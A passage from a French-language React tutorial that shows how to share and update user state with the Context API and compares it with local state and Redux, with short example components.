Le but de cette petite démonstration est de vous montrer sur un exemple simple comment intégrer Redux. Le concept d'actions, de reducers, de store etc... peuvent sembler compliqués, mais quand on a l'habitude c'est vraiment un plaisir de développer avec cette librairie.

Un composant qui a besoin d'une information disponible dans le store ? Connectez (avec la fonction connect de react-redux) votre composant à Redux et il y aura accès. De même, un composant à besoin de muter votre state ? Connectez-le à Redux et vous aurez accès à la fonction dispatch de Redux. Plus besoin de passer vos données et mutateurs dans l'ensemble de l'arbre de composants.

Le code ci-dessus n'est qu'à titre d'exemple. Dans une application conséquente une architecture propre et scalable est nécessaire ! Si Redux vous intéresse je vous propose de regarder le pattern Ducks. Je l'utilise beaucoup et son design rendra votre code propre et maintenable sur la partie Redux.

... et avec les contextes ?

Bon, on a vu deux techniques : le state local et Redux. Les deux sont intéressantes. Qu'en est-il des contextes ?

Les contextes sont là pour abonner vos composants à une valeur. L'exemple classique, qui est également donné dans la documentation officielle de React, est la gestion du thème de votre application. Admettons que vous ayez un design "light" et un design "dark" pour votre application. Une méthode couramment utilisée est de se servir des contextes pour passer la valeur "light" ou "dark" aux composants qui en ont besoin. Bien sûr il est possible de gérer ça à l'aide de Redux, mais c'est beaucoup d'efforts pour au final quelque chose de très simple.

Traduisons nos exemples précédents en utilisant les contextes. Nous n'avons rien besoin d'installer de particulier, les contextes font partie intégrante du core de React.

App.js

// App.js
import React, { useState } from 'react';

import Users from './components/users/Users.js';
import UserContext, { defaultValue } from './contexts/UserContext.js';

function App() {
  return (
    <UserContext.Provider value={defaultValue(useState())}>
      <Users />
    </UserContext.Provider>
  );
}

export default App;

Dans cet exemple, j'utilise un contexte nommé UserContext, défini dans un autre fichier, voyons cela.

UserContext.js

// contexts/UserContext.js
import React from 'react';

const initialUsers = [
  {
    id: 1,
    fullName: 'Iron Man',
    age: 50,
  },

  {
    id: 2,
    fullName: 'Spider Man',
    age: 25,
  },
];

const UserContext = React.createContext();

export function defaultValue([users = initialUsers, setUsers]) {
  return {
    users,
    addOneYear: function (user) {
      users.forEach(function (u) {
        if (u.id === user.id) {
          u.age++;
        }
      });

      setUsers([...users]);
    },
  };
}

export default UserContext;

Rien de bien compliqué. J'utilise la fonction createContext de React pour initialiser un nouveau contexte. Notez la fonction defaultValue. Au vu des paramètres (déstructurés) que je lui passe, ça vous parle ? En effet ça va être le résultat d'un hook (useState en l'occurrence) qui me permettra de muter mon contexte depuis n'importe où dans mon application.

Voyons les autres composants que vous connaissez bien désormais.

Users.js

// components/users/Users.js
import React from 'react';
import User from './User.js';
import UserContext from '../../contexts/UserContext.js';

function Users() {
  return (
    <UserContext.Consumer>
      {function (value) {
        const { users } = value;
        if (!users) {
          return null;
        }

        return Object.values(users).map(function (user) {
          return <User key={user.id} user={user} />;
        });
      }}
    </UserContext.Consumer>
  );
}

export default Users;

Ce composant va être abonné aux changements du contexte. Comme vous pouvez le voir, j'extrais les utilisateurs du contexte. En effet mon contexte contient la valeur (users) et les mutateurs (addOneYear).

User.js

// components/users/User.js
import React from 'react';
import UserBody from './UserBody';

function User({ user }) {
  return (
    <div>
      <h1>{user.fullName}</h1>

      <UserBody user={user} />
    </div>
  );
}

export default User;

Rien ne change ici !

// components/users/UserBody.js
import React from 'react';
import UserContext from '../../contexts/UserContext.js';

function UserBody({ user }) {
  return (
    <UserContext.Consumer>
      {function ({ addOneYear }) {
        return (
          <>
            <p>Ce personnage a {user.age} ans !</p>
            <button onClick={(e) => addOneYear(user)}>
              Augmenter son age d'un an
            </button>
          </>
        );
      }}
    </UserContext.Consumer>
  );
}

export default UserBody;

J'utilise donc mon contexte dans ce composant aussi et j'en extrait un mutateur, addOneYear.

Finalement que doit-on choisir ?

On a pu le voir, les trois techniques fonctionnent et sont efficaces. Mais alors, laquelle choisir ?

Si la première est très simple et ne nécessite pas d'efforts particuliers pour la mettre en place on se rend compte que sur des applications qui grandissent vite ça peut devenir compliqué de gérer tout l'état de son application.

La seconde, par contre, demande un peu plus d'efforts à sa mise en place initiale. Elle nécessite aussi une bonne connaissance de Redux afin de gérer correctement le store de son application. Une mauvaise utilisation de Redux rendra votre code non maintenable. La correction de bug n'en sera que plus compliquée et l'ajout de nouvelle fonctionnalité, un enfer.

La troisième option, les contextes, reste simple à mettre en place et gère très bien l'état de notre application. Cependant il faut faire très attention avec cette technique. Si elle est mal utilisée, sur des applications plus conséquentes, elle peut engendrer de sérieux problèmes de performance. En effet à chaque changement de la valeur d'un contexte, React va re-render tous les composants qui consument ce contexte. Si vous modifiez votre valeur à plusieurs endroits ou modifiez plusieurs contextes en même temps, cela engendrera autant de rendus. Ce qui peut être problématique.

J'aime bien utiliser Redux sur des projets qui vont gérer un nombre de données assez conséquent et les contextes et/ou les hooks sur des projets plus petits où la gestion de données reste très simple.